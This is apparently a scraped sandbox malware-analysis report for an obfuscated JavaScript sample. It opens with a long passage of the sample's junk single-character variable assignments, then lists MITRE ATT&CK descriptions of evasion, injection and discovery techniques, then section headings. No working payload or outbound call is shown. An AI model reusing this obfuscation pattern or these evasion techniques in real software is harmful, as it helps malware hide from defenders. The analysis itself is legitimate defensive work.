616	ydnlctw = "u";
617	ydnlctw = "S";
618	ydnlctw = "n";
619	ydnlctw = "q";
620	ydnlctw = "n";
621	ydnlctw = "e";
622	ydnlctw = "d";
623	ydnlctw = "n";
624	ydnlctw = "F";
625	ydnlctw = "J";
626	ydnlctw = "p";
627	ydnlctw = "J";
628	ydnlctw = "T";
629	ydnlctw = "F";
630	ydnlctw = "/";
631	zxbechn = "T";
632	zxbechn = "z";
633	zxbechn = "b";
634	zxbechn = "X";
635	zxbechn = "h";
636	zxbechn = "z";
637	zxbechn = "Z";
638	zxbechn = "f";
639	zxbechn = "G";
640	zxbechn = "J";
641	zxbechn = "P";
642	zxbechn = "u";
643	zxbechn = "b";
644	zxbechn = "i";
645	zxbechn = "N";
646	zxbechn = "A";
647	zxbechn = "A";
648	zxbechn = "g";
649	zxbechn = "s";
650	zxbechn = "x";
651	zxbechn = "P";
652	zxbechn = "J";
653	zxbechn = "M";
654	zxbechn = "b";
655	zxbechn = "s";
656	zxbechn = "M";
657	zxbechn = "a";
658	zxbechn = "H";
659	zxbechn = "r";
660	zxbechn = "z";
661	zxbechn = "h";
662	zxbechn = "i";
663	zxbechn = "m";
664	zxbechn = "H";
665	zxbechn = "f";
666	zxbechn = "H";
667	zxbechn = "t";
668	zxbechn = "w";
669	zxbechn = "z";
670	zxbechn = "W";
671	sucjrbwpu = "R";
672	sucjrbwpu = "V";
673	sucjrbwpu = "h";
674	sucjrbwpu = "N";
675	sucjrbwpu = "O";
676	sucjrbwpu = "y";
677	sucjrbwpu = "I";
678	sucjrbwpu = "U";
679	sucjrbwpu = "e";
680	sucjrbwpu = "Y";
681	sucjrbwpu = "T";
682	sucjrbwpu = "R";
683	sucjrbwpu = "t";
684	sucjrbwpu = "x";
685	sucjrbwpu = "M";
686	sucjrbwpu = "T";
687	sucjrbwpu = "P";
688	sucjrbwpu = "a";
689	sucjrbwpu = "q";
690	sucjrbwpu = "A";
691	sucjrbwpu = "e";
692	sucjrbwpu = "q";
693	sucjrbwpu = "F";
694	sucjrbwpu = "Y";
695	sucjrbwpu = "G";
696	sucjrbwpu = "T";
697	sucjrbwpu = "T";
698	sucjrbwpu = "P";
699	sucjrbwpu = "p";
700	kcbbf = "V";
701	kcbbf = "F";
702	kcbbf = "n";
703	kcbbf = "l";
704	kcbbf = "Y";
705	kcbbf = "V";
706	kcbbf = "H";
707	kcbbf = "K";
708	kcbbf = "t";
709	kcbbf = "Q";
710	kcbbf = "w";
711	kcbbf = "M";
712	kcbbf = "m";
713	kcbbf = "X";
714	kcbbf = "U";
715	kcbbf = "A";
716	kcbbf = "E";
717	kcbbf = "T";
718	kcbbf = "s";
719	kcbbf = "Z";
720	kcbbf = "o";
721	kcbbf = "D";
722	kcbbf = "L";
723	kcbbf = "p";
724	kcbbf = "F";
725	kcbbf = "j";
726	kcbbf = "m";
727	kcbbf = "u";
728	kcbbf = "\\";
729	tqulgk = "D";
730	tqulgk = "l";
731	tqulgk = "b";
732	tqulgk = "U";
733	tqulgk = "Y";
734	tqulgk = "f";
735	tqulgk = "w";
736	tqulgk = "n";
737	tqulgk = "J";
738	tqulgk = "Q";
739	nwvbvqt = "d";
740	nwvbvqt = "q";
741	nwvbvqt = "g";
742	nwvbvqt = "f";
743	nwvbvqt = "b";
744	nwvbvqt = "E";
745	nwvbvqt = "G";
746	nwvbvqt = "Q";
747	nwvbvqt = "a";
748	nwvbvqt = "l";
749	nwvbvqt = "h";
750	nwvbvqt = "a";
751	nwvbvqt = "A";
752	nwvbvqt = "V";
753	nwvbvqt = "e";
754	nwvbvqt = "K";
755	nwvbvqt = "G";
756	nwvbvqt = "Z";
757	nwvbvqt = "w";
758	nwvbvqt = "C";
759	nwvbvqt = "C";
760	nwvbvqt = "R";
761	nwvbvqt = "e";
762	nwvbvqt = "x";
763	nwvbvqt = "w";
764	nwvbvqt = "i";
765	nwvbvqt = "C";
766	nwvbvqt = "R";
767	nwvbvqt = "N";
768	nwvbvqt = "H";
769	nwvbvqt = "e";
770	nwvbvqt = "r";
771	nwvbvqt = "w";
772	nwvbvqt = "e";
773	nwvbvqt = "W";
774	nwvbvqt = "h";
775	nwvbvqt = "v";
776	nwvbvqt = "N";
777	nwvbvqt = "G";
778	nwvbvqt = "M";
779	nwvbvqt = "H";
780	gctalbab = "u";
781	gctalbab = "n";
782	gctalbab = "Y";
783	gctalbab = "f";
784	gctalbab = "Q";
785	gctalbab = "k";
786	gctalbab = "t";
787	gctalbab = "a";
788	gctalbab = "o";
789	gctalbab = "o";
790	gctalbab = "y";
791	gctalbab = "z";
792	gctalbab = "Y";
793	gctalbab = "r";
794	gctalbab = "G";
795	gctalbab = "w";
796	gctalbab = "S";
797	gctalbab = "o";
798	gctalbab = "J";
799	gctalbab = "u";
800	gctalbab = "n";
801	gctalbab = "X";
802	gctalbab = "J";
803	gctalbab = "K";
804	gctalbab = "n";
805	gctalbab = "p";
806	gctalbab = "P";
807	gctalbab = "s";
808	gctalbab = "X";
809	gctalbab = "y";
810	gctalbab = "D";
811	gctalbab = "F";
812	gctalbab = "B";
813	gctalbab = "n";
814	gctalbab = "b";
815	gctalbab = "d";
816	gctalbab = "s";
817	gctalbab = "Z";
818	gctalbab = "S";
819	gctalbab = "b";
820	gctalbab = "d";
821	gctalbab = "U";
822	gctalbab = "x";
823	gctalbab = "U";
824	ndsfriwls = "a";
825	ndsfriwls = "c";
826	ndsfriwls = "x";
827	ndsfriwls = "l";
828	ndsfriwls = "M";
829	ndsfriwls = "B";
830	ndsfriwls = "W";
831	ndsfriwls = "z";
832	ndsfriwls = "e";
833	ndsfriwls = "q";
834	ndsfriwls = "I";
835	ndsfriwls = "G";
836	ndsfriwls = "Y";
837	ndsfriwls = "o";
838	eemny = "k";
839	eemny = "j";
840	eemny = "k";
841	eemny = "o";
842	eemny = "m";
843	qimfm = "v";
844	qimfm = "T";
845	qimfm = "X";
846	qimfm = "d";
847	qimfm = "R";
848	qimfm = "d";
849	qimfm = "m";
850	qimfm = "T";
851	qimfm = "O";
852	qimfm = "d";
853	qimfm = "c";
854	qimfm = "D";
855	qimfm = "s";
856	qimfm = "C";
857	qimfm = "k";
858	qimfm = "0";
859	ojzolwmy = "o";
860	ojzolwmy = "j";
861	ojzolwmy = "u";
862	ojzolwmy = "T";
863	ojzolwmy = "A";
864	ojzolwmy = "Z";
865	ojzolwmy = "r";
866	ojzolwmy = "j";
867	gzofks = "A";
868	gzofks = "W";
869	gzofks = "w";
870	gzofks = "H";
871	gzofks = "N";
872	gzofks = "t";
873	gzofks = "s";
874	gzofks = "J";
875	gzofks = "u";
876	gzofks = "y";
877	gzofks = "q";
878	gzofks = "E";
879	gzofks = "u";
880	gzofks = "B";
881	gzofks = "h";
882	gzofks = "g";
883	gzofks = "C";
884	gzofks = "v";
885	gzofks = "p";
886	gzofks = "s";
887	gzofks = "D";
888	gzofks = "C";
889	gzofks = "P";
890	gzofks = "s";
891	gzofks = "K";
892	gzofks = "L";
893	gzofks = "t";
894	gzofks = "x";
895	gzofks = "h";
896	gzofks = "g";
897	gzofks = "p";
898	gzofks = "c";
899	gzofks = "O";
900	gzofks = "w";
901	gzofks = "P";
902	gzofks = "s";
903	gzofks = "t";
904	gzofks = "V";
905	gzofks = "U";
906	gzofks = "q";
907	gzofks = "z";
908	gzofks = "z";
909	gzofks = "s";
910	gzofks = "k";
911	buxzcfd = "E";
912	buxzcfd = "U";
913	buxzcfd = "I";
914	buxzcfd = "E";
915	buxzcfd = "S";
916	buxzcfd = "s";
917	buxzcfd = "H";
918	buxzcfd = "a";
919	buxzcfd = "N";
920	buxzcfd = "e";
921	buxzcfd = "d";
922	buxzcfd = "G";
923	buxzcfd = "m";
924	buxzcfd = "l";
925	buxzcfd = "H";
926	buxzcfd = "O";
927	buxzcfd = "a";
928	buxzcfd = "n";
929	buxzcfd = "V";
930	buxzcfd = "q";
931	buxzcfd = "t";
932	buxzcfd = "Y";
933	buxzcfd = "T";
934	buxzcfd = "U";
935	buxzcfd = "M";
936	buxzcfd = "u";
937	buxzcfd = "K";
938	buxzcfd = "Q";
939	buxzcfd = "L";
940	buxzcfd = "B";
941	buxzcfd = "A";
942	buxzcfd = "B";
943	buxzcfd = "B";
944	buxzcfd = "L";
945	buxzcfd = "K";
946	buxzcfd = "x";
947	buxzcfd = "B";
948	buxzcfd = "e";
949	buxzcfd = "c";
950	buxzcfd = "q";
951	buxzcfd = "t";
952	buxzcfd = "k";
953	buxzcfd = "q";
954	mmyhnjlxy = "d";
955	mmyhnjlxy = "T";
956	mmyhnjlxy = "F";
957	mmyhnjlxy = "J";
958	mmyhnjlxy = "n";
959	mmyhnjlxy = "O";
960	mmyhnjlxy = "o";
961	mmyhnjlxy = "z";
962	mmyhnjlxy = "R";
963	mmyhnjlxy = "Q";
964	mmyhnjlxy = "I";
965	mmyhnjlxy = "E";
966	mmyhnjlxy = "Y";
967	mmyhnjlxy = "X";
968	mmyhnjlxy = "Z";
969	mmyhnjlxy = "m";
970	mmyhnjlxy = "Z";
971	mmyhnjlxy = "V";
972	mmyhnjlxy = "r";
973	mmyhnjlxy = "c";
974	mmyhnjlxy = "V";
975	mmyhnjlxy = "e";
976	mmyhnjlxy = "d";
977	mmyhnjlxy = "E";
978	mmyhnjlxy = "C";
979	mmyhnjlxy = "l";
980	mmyhnjlxy = "B";
981	mmyhnjlxy = "q";
982	mmyhnjlxy = "C";
983	mmyhnjlxy = "Q";
984	mmyhnjlxy = "D";
985	mmyhnjlxy = "I";
986	mmyhnjlxy = "e";
987	mmyhnjlxy = "B";
988	mmyhnjlxy = "W";
989	mmyhnjlxy = "y";
990	mmyhnjlxy = "v";
991	mmyhnjlxy = "s";
992	mmyhnjlxy = "I";
993	mmyhnjlxy = "O";
994	mmyhnjlxy = "k";
995	mmyhnjlxy = "d";
996	mmyhnjlxy = "W";
997	mmyhnjlxy = "v";
998	mmyhnjlxy = "u";
999	gvhmuem = "a";
1000	gvhmuem = "a";
1001	gvhmuem = "X";
1002	gvhmuem = "G";
1003	gvhmuem = "E";
1004	gvhmuem = "V";
1005	gvhmuem = "S";
1006	gvhmuem = "M";
1007	gvhmuem = "J";
1008	gvhmuem = "G";
1009	gvhmuem = "S";
1010	gvhmuem = "&";
1011	dlsglvmc = "n";
1012	dlsglvmc = "-";
1013	wqxztnfm = "s";
1014	wqxztnfm = "I";
1015	wqxztnfm = "E";
1016	wqxztnfm = "e";
1017	wqxztnfm = "B";
1018	wqxztnfm = "h";
1019	wqxztnfm = "F";
1020	wqxztnfm = "T";
1021	wqxztnfm = "k";
1022	wqxztnfm = "q";
1023	wqxztnfm = "C";
1024	wqxztnfm = "d";
1025	wqxztnfm = "X";
1026	wqxztnfm = ":";
1027	ujummbbh = "m";
1028	ujummbbh = "Z";
1029	ujummbbh = "x";
1030	ujummbbh = "m";
1031	ujummbbh = "p";
1032	ujummbbh = "w";
1033	ujummbbh = "R";
1034	ujummbbh = "Z";
1035	ujummbbh = "X";
1036	ujummbbh = "l";
1037	ujummbbh = "G";
1038	ujummbbh = "R";
1039	ujummbbh = "d";
1040	ujummbbh = "b";
1041	ujummbbh = "t";
1042	ujummbbh = "i";
1043	ujummbbh = "Q";
1044	ujummbbh = "Y";
1045	txpupdt = "L";
1046	txpupdt = "Z";
1047	txpupdt = "u";
1048	txpupdt = "W";
1049	txpupdt = "h";
1050	txpupdt = "j";
1051	txpupdt = "j";
1052	txpupdt = "d";
1053	txpupdt = "c";
1054	txpupdt = "z";
1055	txpupdt = "x";
1056	txpupdt = "U";
1057	txpupdt = "g";
1058	txpupdt = "x";
1059	txpupdt = "L";
1060	txpupdt = "P";
1061	txpupdt = "m";
1062	txpupdt = "I";
1063	txpupdt = "x";
1064	txpupdt = "O";
1065	txpupdt = "n";
1066	txpupdt = "Q";
1067	txpupdt = "G";
1068	txpupdt = "W";
1069	txpupdt = "K";
1070	txpupdt = "R";
1071	txpupdt = "j";
1072	txpupdt = "s";
1073	txpupdt = "f";
1074	txpupdt = "g";
1075	txpupdt = "I";
1076	txpupdt = "Q";
1077	txpupdt = "l";
1078	txpupdt = "g";
1079	txpupdt = " ";
1080	qtsibb = "o";
1081	qtsibb = "i";
1082	qtsibb = "e";
1083	qtsibb = "o";
1084	qtsibb = "n";
1085	qtsibb = "q";
1086	qtsibb = "H";
1087	qtsibb = "Y";
1088	qtsibb = "s";
1089	qtsibb = "t";
1090	qtsibb = "w";
1091	qtsibb = "E";
1092	qtsibb = "n";
1093	qtsibb = "F";
1094	qtsibb = "z";
1095	qtsibb = "x";
1096	qtsibb = "Y";
1097	qtsibb = "s";
1098	qtsibb = "M";
1099	qtsibb = "w";
1100	qtsibb = "s";
1101	qtsibb = "b";
1102	qtsibb = "v";
1103	qtsibb = "g";
1104	qtsibb = "t";
1105	qtsibb = "Z";
1106	qtsibb = "I";
1107	vvpkf = "F";
1108	vvpkf = "s";
1109	vvpkf = "P";
1110	vvpkf = "p";
1111	vvpkf = "A";
1112	vvpkf = "C";
1113	vvpkf = "f";
1114	vvpkf = "h";
1115	vvpkf = "g";
1116	vvpkf = "D";
1117	vvpkf = "P";
1118	vvpkf = "b";
1119	vvpkf = "k";
1120	vvpkf = "s";
1121	vvpkf = "A";
1122	vvpkf = "N";
1123	vvpkf = "m";
1124	vvpkf = "F";
1125	vvpkf = "X";
1126	vvpkf = "A";
1127	vvpkf = "A";
1128	vvpkf = "T";
1129	vvpkf = "N";
1130	vvpkf = "A";
1131	vvpkf = "N";
1132	vvpkf = "Q";
1133	vvpkf = "o";
1134	vvpkf = "p";
1135	vvpkf = "I";
1136	vvpkf = "Y";
1137	vvpkf = "I";
1138	vvpkf = "J";
1139	vvpkf = "a";
1140	vvpkf = "S";
1141	vvpkf = "K";
1142	vvpkf = "C";
1143	vvpkf = "D";
1144	vvpkf = "Y";
1145	vvpkf = "K";
1146	vvpkf = "L";
1147	vvpkf = "W";
1148	vvpkf = "r";
1149	vvpkf = "c";
1150	vvpkf = "F";
1151	gxrugsg = "D";
1152	gxrugsg = "H";
1153	gxrugsg = "q";
1154	gxrugsg = "Z";
1155	gxrugsg = "J";
1156	gxrugsg = "F";
1157	gxrugsg = "z";
1158	gxrugsg = "i";
1159	gxrugsg = "L";
1160	exehppc = "k";
1161	exehppc = "M";
1162	exehppc = "x";
1163	exehppc = "f";
1164	exehppc = "u";
1165	exehppc = "W";
1166	exehppc = "W";
1167	exehppc = "i";
1168	exehppc = "T";
1169	exehppc = "E";
1170	exehppc = "H";
1171	exehppc = "p";
1172	exehppc = "N";
1173	exehppc = "x";
1174	exehppc = "p";
1175	exehppc = "Q";
1176	exehppc = "P";
1177	exehppc = "q";
1178	exehppc = "j";
1179	exehppc = "c";
1180	exehppc = "g";
1181	exehppc = "X";
1182	exehppc = "t";
1183	exehppc = "H";
1184	exehppc = "K";
1185	exehppc = "s";
1186	exehppc = "4";
1187	qltmr = "L";
1188	qltmr = "q";
1189	qltmr = "o";
1190	qltmr = "L";
1191	qltmr = "y";
1192	qltmr = "w";
1193	qltmr = "c";
1194	qltmr = "o";
1195	qltmr = "J";
1196	qltmr = "R";
1197	qltmr = "t";
1198	qltmr = "u";
1199	qltmr = "t";
1200	qltmr = "J";
1201	qltmr = "Y";
1202	qltmr = "u";
1203	qltmr = "G";
1204	qltmr = "j";
1205	qltmr = "q";
1206	qltmr = "g";
1207	qltmr = "x";
1208	qltmr = "T";
1209	qltmr = "B";
1210	qltmr = "k";
1211	qltmr = "v";
1212	qltmr = "e";
1213	qltmr = "D";
1214	qltmr = "i";
1215	qltmr = "q";
1216	qltmr = "n";
1217	qltmr = "E";
1218	qltmr = "q";
1219	qltmr = "I";
1220	qltmr = "B";
1221	qltmr = "p";
1222	qltmr = "s";
1223	qltmr = "q";
1224	qltmr = "n";
1225	qltmr = "O";
1226	qltmr = "R";
1227	qltmr = "8";
1228	fzkvdxeb = "G";
1229	fzkvdxeb = "k";
1230	fzkvdxeb = "p";
1231	fzkvdxeb = "i";
1232	fzkvdxeb = "z";
1233	fzkvdxeb = "E";
1234	fzkvdxeb = "o";
1235	fzkvdxeb = "P";
1236	fzkvdxeb = "y";
1237	fzkvdxeb = "C";
1238	fzkvdxeb = "a";
1239	fzkvdxeb = "V";
1240	fzkvdxeb = "F";
1241	fzkvdxeb = "S";
1242	fzkvdxeb = "Z";
1243	fzkvdxeb = "K";
1244	fzkvdxeb = "f";
1245	gwjjmvum = "M";
1246	gwjjmvum = "t";
1247	gwjjmvum = "A";
1248	gwjjmvum = "K";
1249	gwjjmvum = "i";
1250	gwjjmvum = "Y";
1251	gwjjmvum = "B";
1252	gwjjmvum = "s";
1253	gwjjmvum = "s";
1254	gwjjmvum = "U";
1255	gwjjmvum = "7";
1256	hiywmb = "W";
1257	hiywmb = "W";
1258	hiywmb = "P";
1259	hiywmb = "Q";
1260	hiywmb = "q";
1261	hiywmb = "o";
1262	hiywmb = "k";
1263	hiywmb = "C";
1264	hiywmb = "m";
1265	hiywmb = "g";
1266	hiywmb = "v";
1267	hiywmb = "O";
1268	hiywmb = "W";
1269	hiywmb = "W";
1270	hiywmb = "N";
1271	hiywmb = "N";
1272	hiywmb = "b";
1273	hiywmb = "y";
1274	hiywmb = "K";
1275	hiywmb = "n";
1276	hiywmb = "P";
1277	hiywmb = "Z";
1278	hiywmb = "o";
1279	hiywmb = "E";
1280	hiywmb = "R";
1281	hiywmb = "P";
1282	omcgo = "H";
1283	omcgo = "q";
1284	omcgo = "W";
1285	omcgo = "X";
1286	omcgo = "G";
1287	omcgo = "r";
1288	omcgo = "F";
1289	omcgo = "o";
1290	omcgo = "j";
1291	omcgo = "a";
1292	omcgo = "M";
1293	omcgo = "Q";
1294	omcgo = "W";
1295	omcgo = "U";
1296	omcgo = "m";
1297	omcgo = "x";
1298	omcgo = "C";
1299	omcgo = "S";
1300	omcgo = "i";
1301	omcgo = "O";
1302	omcgo = "D";
1303	omcgo = "O";
1304	omcgo = "N";
1305	omcgo = "u";
1306	omcgo = "c";
1307	omcgo = "J";
1308	omcgo = "y";
1309	omcgo = "r";
1310	omcgo = "r";
1311	omcgo = "H";
1312	omcgo = "W";
1313	omcgo = "P";
1314	omcgo = "w";
1315	zzffda = "U";
1316	zzffda = "K";
1317	zzffda = "Q";
1318	zzffda = "i";
1319	zzffda = "z";
1320	zzffda = "C";
1321	zzffda = "r";
1322	zzffda = "V";
1323	zzffda = "q";
1324	zzffda = "a";
1325	zzffda = "v";
1326	zzffda = "t";
1327	nqisfcbco = "t";
1328	nqisfcbco = "m";
1329	nqisfcbco = "z";
1330	nqisfcbco = "P";
1331	nqisfcbco = "s";
1332	nqisfcbco = "c";
1333	nqisfcbco = "y";
1334	nqisfcbco = "U";
1335	nqisfcbco = "K";
1336	nqisfcbco = "J";
1337	nqisfcbco = "I";
1338	nqisfcbco = "c";
1339	nqisfcbco = "u";
1340	nqisfcbco = "F";
1341	nqisfcbco = "r";
1342	nqisfcbco = "x";
1343	nqisfcbco = "e";
1344	nqisfcbco = "j";
1345	nqisfcbco = "F";
1346	nqisfcbco = "Q";
1347	nqisfcbco = "u";
1348	nqisfcbco = "n";
1349	nqisfcbco = "J";
1350	nqisfcbco = "k";
1351	nqisfcbco = "y";
1352	nqisfcbco = "T";
1353	cnhrci = "N";
1354	cnhrci = "t";
1355	cnhrci = "N";
1356	cnhrci = "L";
1357	cnhrci = "l";
1358	cnhrci = "O";
1359	cnhrci = "O";
1360	cnhrci = "c";
1361	cnhrci = "E";
1362	gjjaqkrpo = "Z";
1363	gjjaqkrpo = "A";
1364	gjjaqkrpo = "Y";
1365	gjjaqkrpo = "C";
1366	gjjaqkrpo = "i";
1367	gjjaqkrpo = "X";
1368	gjjaqkrpo = "k";
1369	gjjaqkrpo = "K";
1370	gjjaqkrpo = "p";
1371	gjjaqkrpo = "E";
1372	gjjaqkrpo = "i";
1373	gjjaqkrpo = "U";
1374	gjjaqkrpo = "c";
1375	gjjaqkrpo = "K";
1376	gjjaqkrpo = "s";
1377	gjjaqkrpo = "A";
1378	gjjaqkrpo = "N";
1379	gjjaqkrpo = "Z";
1380	gjjaqkrpo = "f";
1381	gjjaqkrpo = "e";
1382	gjjaqkrpo = "B";
1383	gjjaqkrpo = "a";
1384	gjjaqkrpo = "L";
1385	gjjaqkrpo = "E";
1386	gjjaqkrpo = "E";
1387	gjjaqkrpo = "Y";
1388	gjjaqkrpo = "v";
1389	gjjaqkrpo = "y";
1390	gjjaqkrpo = "l";
1391	gjjaqkrpo = "v";
1392	gjjaqkrpo = "J";
1393	gjjaqkrpo = "I";
1394	gjjaqkrpo = "t";
1395	gjjaqkrpo = "J";
1396	gjjaqkrpo = "d";
1397	gjjaqkrpo = "Y";
1398	gjjaqkrpo = "V";
1399	gjjaqkrpo = "Z";
1400	gjjaqkrpo = "T";
1401	gjjaqkrpo = "J";
1402	gjjaqkrpo = "I";
1403	gjjaqkrpo = "b";
1404	qxckky = "G";
1405	qxckky = "d";
1406	qxckky = "V";
1407	qxckky = "G";
1408	qxckky = "w";
1409	qxckky = "o";
1410	qxckky = "E";
1411	qxckky = "W";
1412	qxckky = "k";
1413	qxckky = "r";
1414	qxckky = "j";
1415	qxckky = "R";
1416	qxckky = "V";
1417	qxckky = "R";
1418	qxckky = "F";
1419	qxckky = "Y";
1420	qxckky = "K";
1421	qxckky = "D";
1422	qxckky = "E";
1423	qxckky = "n";
1424	qxckky = "p";
1425	qxckky = "g";
1426	qxckky = "z";
1427	qxckky = "9";
1428	gihanqqxa = "y";
1429	gihanqqxa = "R";
1430	gihanqqxa = "z";
1431	gihanqqxa = "T";
1432	gihanqqxa = "o";
1433	gihanqqxa = "S";
1434	gihanqqxa = "6";
1435	cmtbyk = "n";
1436	cmtbyk = "h";
1437	cmtbyk = "g";
1438	cmtbyk = "N";
1439	cmtbyk = "h";
1440	cmtbyk = "f";
1441	cmtbyk = "H";
1442	cmtbyk = "R";
1443	cmtbyk = "K";
1444	cmtbyk = "w";
1445	cmtbyk = "S";
1446	pvtkvax ( );	pvtkvax() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 959032706323392160.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

